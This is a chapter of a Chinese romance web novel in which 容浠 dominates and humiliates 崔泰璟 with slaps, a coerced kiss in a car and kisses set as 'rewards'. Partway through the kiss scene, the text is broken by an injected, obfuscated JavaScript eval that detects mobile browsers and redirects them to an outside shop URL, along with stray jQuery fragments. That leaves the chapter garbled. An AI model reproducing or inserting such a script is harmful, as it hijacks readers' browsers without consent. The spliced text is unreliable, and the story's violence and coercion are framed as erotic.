16.奖励

作品:《成为限制漫主角后

    “我怎么可能关心你?!”崔泰璟像是被踩到尾巴的狗,暴躁地厉声反驳,那双凌厉的剑眉几乎要竖起来,脸上写满了被误解的嫌恶与怒火。然而,下午在试衣间里那个混乱、生涩却带着战栗感的吻,不受控制地再次闯入脑海。他猛地握紧拳头,呼吸变得粗重而急促,几乎是咬着牙根沉声道:“你还不把他放开吗?!”


    “嗯?”容浠非但没有移开脚,反而用鞋底不轻不重地又碾了碾脚下那颗头颅,语气淡淡,“我反而觉得......他很喜欢呢。”他弯起那双漂亮却毫无温度的眼睛,用夹着烟的手随意指了指,“你看。”


    崔泰璟的瞳孔骤然紧缩,一股混杂着荒谬、恶心与难以置信的情绪猛地攫住了他。


    ......难道他们家的人......都是变态吗?!


    容浠舒畅地吐出一口烟圈,白色的烟雾模糊了他眼底的兴奋光芒。于是他收回脚,慢条斯理地蹲下身,带着几分明显的嫌弃,一把扯开了罩在朴知佑头上的、那件已经沾染了污渍的外套,然后仰起脸,对崔泰璟理所当然地说:“脏了。”


    “......我重新给你买。”崔泰璟听到自己从牙缝里挤出的声音。


    容浠这才满意地勾起唇角,重新垂下眼眸,看向正死死盯着自己的朴知佑,问:“我满足你的标准了吗?”


    失去了金丝眼镜的遮挡,朴知佑那双狭长凌厉的眼睛彻底暴露出来,里面翻涌着如同毒蛇般阴冷、狠戾的光芒,仿佛要将眼前的青年剥皮拆骨,吞吃入腹。然而,听到容浠的问话,他非但没有暴怒,反而从喉咙深处溢出一阵低沉而愉悦的笑声,带着一种近乎癫狂的欣赏:“当然。”


    这样有趣的人,当然要好好留在身边玩.弄才行啊。


    回去的车上,崔泰璟死死攥着方向盘,指节因过度用力而泛白,大脑里一片混沌的喧嚣。


    无数问题像纠缠的毒蛇盘踞在喉头,却一个音节也吐不出来。他只能烦躁地深吸一口气,用力顶了顶腮帮,试图压下那翻涌的、连自己都无法厘清的躁动。


    他的余光不受控制地瞥向副驾驶,容浠正慵懒地窝在座椅里,垂眸专注地玩着手机,屏幕的冷光映亮他半边精致的侧脸,非常平静。就在这时——


    “朴知佑以为你上过我。”


    青年冷不丁地开口,声音平淡。


    崔泰璟瞳孔骤然紧缩,脚下猛地一滑,差点直接踩死刹车!他心脏狂跳,下意识舔了舔干燥的下唇。是因为这个......容浠才生气了吗?才用那种方式“招待”朴知佑?一股莫名的、混合着憋屈和愤怒的火气直冲头顶。


    朴知佑!该死的狗崽子!


    “你想上我吗?”容浠紧接着问,他甚至没有抬头,依旧看着手机屏幕,只是微微挑了挑眉,语气随意得像在问“晚上吃什么”。


    “......不想。”崔泰璟几乎是条件反射地、干巴巴地否认。


    “为什么?”


    “我是直男。”


    话音刚落,耳边就传来了容浠压抑不住的、从喉咙里溢出的低笑声,那笑声仿佛打开了某个开关,很快演变成一阵更加放肆、更加过火的朗声大笑,他笑得肩膀都在轻轻颤抖。


    崔泰璟瞬间恼羞成怒,一张俊脸涨得通红,他想破口大骂,却悲哀地发现自己甚至不敢在容浠面前发泄,只能从牙缝里挤出扭曲的声音:“......有什么好笑的?”


    容浠终于止住笑,抬手,用指尖轻轻拭去眼尾因大笑而渗出的生理性泪水,唇角勾起一个极其恶劣的弧度:“和男人接吻会硬的直男?”


    崔泰璟只觉得一股热血猛地冲上头顶,羞耻感几乎要将他焚烧殆尽。他死死握住方向盘,手背上青筋暴起,眉眼间凝聚起躁动不安的戾气,几乎是低吼着辩解:“那是个意外!”他脑子进水了才会喜欢男人。


    “想试试吗?”


    容浠轻飘飘的话音尚未完全落下——


    崔泰璟猛地一脚将刹车踩到底,性能卓越的保时捷猛地停在了路边。


    崔泰璟瞳孔地震,大脑像是生锈的齿轮,艰难地、缓慢地转动了良久,才终于处理完这短短四个字所包含的惊人信息。他的喉结剧烈地上下滚动了一下,声音沙哑:“......什么?”


    青年缓缓转过脸,弯起那双漂亮得近乎妖异的眼睛,抬起修长的食指,轻轻点向自己色泽浅淡、形状优美的下唇,动作带着一种无声的、致命的诱惑:“接吻。”


    崔泰璟不可置信地死死盯着他,下午在试衣间里那个混乱、生涩、却带着触电般战栗的感觉再次席卷而来。他下意识地吞咽了一下,目光却像有自己的意志般,飞快地扫过容浠的双手——没有电击器。


    他松了口气...不是试探。


    但很快,男人就微微睁大双眼。


    他是......认真的?


    晚上九点的江南区,霓虹流光溢彩,街道上人潮涌动,喧嚣声被隔绝在车窗外,形成一片模糊的背景音。


    斑斓的灯光透过贴了防窥膜的车窗,在容浠漂亮的脸上投下变幻的光影,浓密的睫毛在眼下勾勒出小片诱人的阴影,那双饱满的唇微微勾起,带着一种洞悉一切的、近乎挑衅的弧度。他挑了挑眉,耐心地等待着。


    崔泰璟的手死死攥紧,指甲深深陷入掌心,大脑里警报尖鸣,疯狂叫嚣着让他远离这个危险源。然而,身体却像被无形的丝线操控,违背了所有理智,不受控制地倾身靠近。


    直到那股熟悉的、清冽又凌厉的冷香再次钻入鼻腔,带着蛊惑人心的力量。


    他的嘴唇,终于再一次贴上了那片想象中的柔软。


    起初只是笨拙的贴合,带着试探与生涩。崔泰璟抬起微微发颤的手,抚上青年温热的脸颊,指尖传来细腻的触感。随即,他像是鼓足了勇气,舌头小心翼翼地探出,像狗一样,轻轻舔舐着对方紧闭的唇缝。


    容浠从喉咙里溢出一声极轻的笑,然后,他顺从地、甚至可以说是鼓励地张开了嘴,放任那条急躁的舌头长驱直入,深入到一个更加湿热、更加私密的领域。


    他们吻了很久。


    久到崔泰璟几乎忘记了时间,忘记了地点,忘记了所有该死的顾虑和挣扎。他之前从不理解,为何会有人沉溺于这种唾液交换的亲密行为,但现在.....


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882593|191346||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    .他似乎触摸到了一点那令人战栗的、让人失控的边缘。


    他喘着粗气,微微退开些许距离,胸膛剧烈起伏。目光落在面前青年那张依旧精致、甚至因这个吻而染上些许绯色的脸上,然而,当他撞进对方那双墨色眼瞳时,心里猛地一沉,那里面一片清明,冷静得如同深潭,没有丝毫情动的迷离。


    一股难以言喻的挫败与羞耻感瞬间攫住了他。他不自觉地抿紧了嘴唇,一个连他自己都觉得荒谬、越界的问题,不受控制地脱口而出,带着未曾察觉的、类似于嫉妒的情绪:“你和别人......也这样接过吻吗?”


    容浠却根本不回答,反而问:“你想上我吗?”


    崔泰璟怔住了,被情欲和某种东西搅得一团糟的大脑,几乎无法思考。他听到自己沙哑的、带着破罐子破摔意味的声音响起:“想......”


    然而,话音未落的瞬间——


    “啪!”


    一记清脆的耳光,再次毫不留情地扇在他的脸上!


    崔泰璟的脸被打得偏向一边,口腔里瞬间弥漫开淡淡的铁锈味。他用舌头顶了顶火辣辣发疼的腮帮,这已经是今天挨的第二个巴掌了。那股熟悉的、暴戾的怒火猛地窜起,却被他硬生生地、死死地压回了心底最深处。


    他甚至舔了舔有些干裂的下唇,从喉咙里挤出低哑的认错:“......抱歉。”


    “真乖。”


    容浠勾起嘴角,像嘉奖一只终于学会指令的宠物,伸手轻轻拍了拍他的头顶,然后施加力道,将那颗总是高昂着的、充满野性的头颅缓缓向下压去,直到两人的视线处于仰视与俯视之间。


    他的声音,清晰地灌入崔泰璟的耳中:“不管你想怎样,都得先学会......让我开心才行啊。”


    他微微停顿,欣赏着男人骤然收缩的瞳孔和紧绷的肌肉,才慢条斯理地宣布规则:“接吻,是奖励哦。”


    车窗外人影绰绰,谈笑声隐约可闻,幸好......这辆车贴了最高级别的防窥膜。崔泰璟猛地深吸一口气,将所有翻腾的屈辱、不甘,以及那该死的、无法抑制的兴奋一同压入肺腑深处,最终,从喉咙深处挤出一个沙哑而驯服的:“......嗯。”


    玄闵宰在客厅的沙发上已经坐了许久。墙上的时钟指针悄无声息地滑过一格又一格,他的眉头越皱越紧,目光死死锁在手机屏幕的KT聊天界面上,从五点多开始,容浠就再没有回过消息,电话也关机了。


    一股熟悉的、带着血腥味的焦虑感开始啃噬他的心脏。他控制不住地去想容浠可能会遇到的麻烦,尤其是中午那个开着保时捷、眉宇间戾气横生的男人......那种人他见过太多,站在财富与权力的顶端,视规则如无物,将他人当作可以随意玩弄消耗的物件。他绝不想让容浠卷入那种危险的游戏。


    时间在死寂的等待中被无限拉长。最终,他还是动用了某些许久未用的关系,定位到了容浠的位置,确认青年没有危险后,男人紧绷的神经才勉强松懈下来,但那股挥之不去的焦躁却并未散去。


    直到晚上十点左右,门口终于传来输入密码的声音。